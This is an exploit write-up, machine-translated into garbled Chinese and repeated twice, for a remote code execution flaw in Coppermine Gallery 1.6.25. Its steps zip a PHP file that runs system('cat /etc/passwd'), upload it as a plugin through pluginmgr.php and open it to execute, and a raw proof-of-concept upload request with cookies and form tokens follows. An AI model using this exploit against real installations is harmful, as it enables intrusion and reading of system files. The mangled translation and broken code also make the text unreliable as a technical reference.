利用标题:版权-Gallery 1.6.25 RCE
Application:版权所有
版本: V1.6.25
BUGS: RCE
Technology: php
供应商URL: https://coppermine-gallery.net/
软件link: https://github.com/coppermine-gallery/cpg1.6.x/archive/refs/tags/tags/v1.6.25.zip
发现日期: 05.09.2023
作者:MirabbasAğalarov
在: Linux上测试
2。技术细节POC
====================================================
步骤
1.首先创建php文件内容为？并用zip将该文件序列。
$ cat test.php
php回声系统（'cat /etc /passwd'）;
$ zip test.zip test.php
1。登录帐户
2。转到http://localhost/cpg1.6.x-1.6.25/pluginmgr.php
3。上传zip文件
4。访问php文件http://localhost/cpg1.6.x-1.6.6.25/plugins/test.php
POC请求
post/cpg1.6.x-1.6.25/pluginmgr.php?op=upload http/1.1
HOST: LOCALHOST
内容长度: 630
cache-control: max-age=0
SEC-CH-UA:
sec-ch-ua-mobile:0
sec-ch-ua-platform:''
升级- 不肯定- requests: 1
Origin: http://localhost
content-type:多部分/form-data;边界=--- WebKitformBoundaryii1aopwpnBypDzorf
用户- 代理: Mozilla/5.0（Windows NT 10.0; Win64; X64）AppleWebkit/537.36（Khtml，像Gecko一样）Chrome/115.0.5790.171 Safari/537.36
ACCEPT: TEXT/HTML，应用程序/XHTML+XML，Application/XML; Q=0.9，Image/avif，Image/WebP，Image/apng，/; q=0.8，application/application/application/nabiped-exchange; v=b3; q=0.7
sec-fetch-site:相同原产
sec-fetch mode:导航
sec-fetch-user:1
sec-fetch-Dest:文档
Referer: http://localhost/cpg1.6.x-1.6.25/pluginmgr.php
Accept-incoding: Gzip，放气
Accept-Language: en-us，en; q=0.9
cookie: cpg16x_data=yto0ontzoji6ikleijtzojmyoiiiiiiiiiiiiime1njk2nzhhowe3ytu3ztu3zti2zdgwythlyjzkodq4zc i7czoyoijhbsi7Atoxo3M6NDoibgfuzyi7czo3OijlbMdsaxnoijtzojm6imxpdiii7ytowont9fq％3D％3D; cpg16x_fav=ytoxontpoja7atoxo30％3D; D4E0836E1827AA38008BC6FEDDF97EB4=93FFA260BD94973848C10E15E15E50B342C
连接:关闭
------ webkitformboundaryii1aopwpnbypdzorf
content-disposition: form-data; name='插件';文件名='test.zip'
content-type:应用程序/zip
PK
.b％wz½µ}（���（������农）
PK
b％wz½µ}（�（�（�）
------ webkitformboundaryii1aopwpnbypdzorf
content-disposition: form-data;名称='form_token'
50982F2E64A7BFA63DBD912A7FDB4E1E
------ webkitformboundaryii1aopwpnbypdzorf
content-disposition: form-data;名称='时间戳'
1693905214
------ webkitformboundaryii1aopwpnbypdzorf--
Application:版权所有
版本: V1.6.25
BUGS: RCE
Technology: php
供应商URL: https://coppermine-gallery.net/
软件link: https://github.com/coppermine-gallery/cpg1.6.x/archive/refs/tags/tags/v1.6.25.zip
发现日期: 05.09.2023
作者:MirabbasAğalarov
在: Linux上测试
2。技术细节POC
====================================================
步骤
1.首先创建php文件内容为？并用zip将该文件序列。
$ cat test.php
php回声系统（'cat /etc /passwd'）;
$ zip test.zip test.php
1。登录帐户
2。转到http://localhost/cpg1.6.x-1.6.25/pluginmgr.php
3。上传zip文件
4。访问php文件http://localhost/cpg1.6.x-1.6.6.25/plugins/test.php
POC请求
post/cpg1.6.x-1.6.25/pluginmgr.php?op=upload http/1.1
HOST: LOCALHOST
内容长度: 630
cache-control: max-age=0
SEC-CH-UA:
sec-ch-ua-mobile:0
sec-ch-ua-platform:''
升级- 不肯定- requests: 1
Origin: http://localhost
content-type:多部分/form-data;边界=--- WebKitformBoundaryii1aopwpnBypDzorf
用户- 代理: Mozilla/5.0（Windows NT 10.0; Win64; X64）AppleWebkit/537.36（Khtml，像Gecko一样）Chrome/115.0.5790.171 Safari/537.36
ACCEPT: TEXT/HTML，应用程序/XHTML+XML，Application/XML; Q=0.9，Image/avif，Image/WebP，Image/apng，/; q=0.8，application/application/application/nabiped-exchange; v=b3; q=0.7
sec-fetch-site:相同原产
sec-fetch mode:导航
sec-fetch-user:1
sec-fetch-Dest:文档
Referer: http://localhost/cpg1.6.x-1.6.25/pluginmgr.php
Accept-incoding: Gzip，放气
Accept-Language: en-us，en; q=0.9
cookie: cpg16x_data=yto0ontzoji6ikleijtzojmyoiiiiiiiiiiiiime1njk2nzhhowe3ytu3ztu3zti2zdgwythlyjzkodq4zc i7czoyoijhbsi7Atoxo3M6NDoibgfuzyi7czo3OijlbMdsaxnoijtzojm6imxpdiii7ytowont9fq％3D％3D; cpg16x_fav=ytoxontpoja7atoxo30％3D; D4E0836E1827AA38008BC6FEDDF97EB4=93FFA260BD94973848C10E15E15E50B342C
连接:关闭
------ webkitformboundaryii1aopwpnbypdzorf
content-disposition: form-data; name='插件';文件名='test.zip'
content-type:应用程序/zip
PK
.b％wz½µ}（���（������农）
PK
b％wz½µ}（�（�（�）
------ webkitformboundaryii1aopwpnbypdzorf
content-disposition: form-data;名称='form_token'
50982F2E64A7BFA63DBD912A7FDB4E1E
------ webkitformboundaryii1aopwpnbypdzorf
content-disposition: form-data;名称='时间戳'
1693905214
------ webkitformboundaryii1aopwpnbypdzorf--
